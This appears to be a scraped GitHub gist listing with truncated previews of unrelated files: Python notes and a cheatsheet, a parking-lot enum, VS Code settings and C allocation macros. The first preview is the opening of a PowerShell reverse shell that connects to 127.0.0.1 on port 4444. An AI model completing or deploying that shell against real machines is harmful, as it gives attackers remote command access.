https://github.com/0xZ0F/Z0FCourse_ReverseEngineering
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 4444); | |
if($socket -eq $null){exit 1} | |
$stream = $socket.GetStream(); | |
$writer = new-object System.IO.StreamWriter($stream); | |
$buffer = new-object System.Byte[] 1024; | |
$encoding = new-object System.Text.AsciiEncoding; | |
do | |
{ | |
$writer.Flush(); | |
$read = $null; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding: utf-8 -*- | |
# To list this file sections: $ grep '^"" ' notes.py | |
""""""""""""" | |
"" Why Python ? | |
""""""""""""" | |
- extremely readable (cf. zen of Python + [this 2013 study](http://redmonk.com/dberkholz/2013/03/25/programming-languages-ranked-by-expressiveness/)) | |
- simple & fast to write | |
- very popular (taught in many universities) | |
- has an extremely active development community |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from enum import Enum | |
class VehicleType(Enum): | |
CAR, TRUCK, ELECTRIC, VAN, MOTORBIKE = 1, 2, 3, 4, 5 | |
class ParkingSpotType(Enum): | |
HANDICAPPED, COMPACT, LARGE, MOTORBIKE, ELECTRIC = 1, 2, 3, 4, 5 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"code-runner.clearPreviousOutput": true, | |
"code-runner.showExecutionMessage": false, | |
"code-runner.ignoreSelection": true, | |
"code-runner.runInTerminal": true, | |
"code-runner.saveFileBeforeRun": true, | |
"diffEditor.renderSideBySide": true, | |
"debug.console.fontFamily": "Source Code Pro", | |
"debug.console.fontSize": 22, | |
"enableTelemetry": true, |
- in UNIX like system, chmod +x myscript.py and include a #! in the file would make it executable scripting
- #!/usr/local/bin/python
- UNIX Python path look-up trick: can also use #!/usr/bin/env python to let the system finds the path for you
- Single underscore ‘_’ contains the last evaluated value
- a = 3 a _ #gives 3 notice must explicitly call a, then call _
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Python Cheatsheet | |
================= | |
################################ Input & Output ############################### | |
name = input('please enter your name: ') | |
print('hello,', name) | |
ageStr = input('please enter your age: ') | |
age = int(ageStr) | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//#include <stdio.h> | |
#include <stddef.h> | |
//#include <stdint.h> | |
//#include <inttypes.h> | |
#include <math.h> | |
#include <limits.h> | |
#define ALIGNMENT 8 // must be a power of 2 | |
#define ALIGN(size) (((size) + (ALIGNMENT-1)) & ~(ALIGNMENT-1)) |